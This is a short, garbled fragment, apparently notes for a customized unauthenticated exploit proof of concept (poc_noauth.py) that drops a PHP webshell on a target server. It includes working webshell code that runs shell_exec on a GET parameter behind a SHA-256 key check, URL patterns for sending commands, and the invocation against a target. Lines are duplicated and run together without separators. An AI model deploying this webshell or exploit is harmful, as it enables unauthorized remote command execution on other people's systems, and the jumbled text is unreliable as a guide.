
Customized this for my own use
Customized this for my own use
?cmd=<command>drop_payload function, replace the YOUR_SECRET_KEY part in the webshell variable with the SHA-256 hash of the desired keyYOUR_SECRET_KEY in webshell with the SHA-256 hash of the plaintext key{target}/shell.php?k=<plaintext_key>&c=<command>
echo -n test1234 | sha256sumcyberchef etc.webshell = """<?php const K='937e8d5fbb48bd4949536cd65b8d35c426b80d2f830c5c308e2cdec422ae2244';if(hash('sha256',$_GET['k']??'')!==K)die; if(isset($_GET['c']))echo'<pre>'.shell_exec($_GET['c']); ?>"""
python poc_noauth.py {target}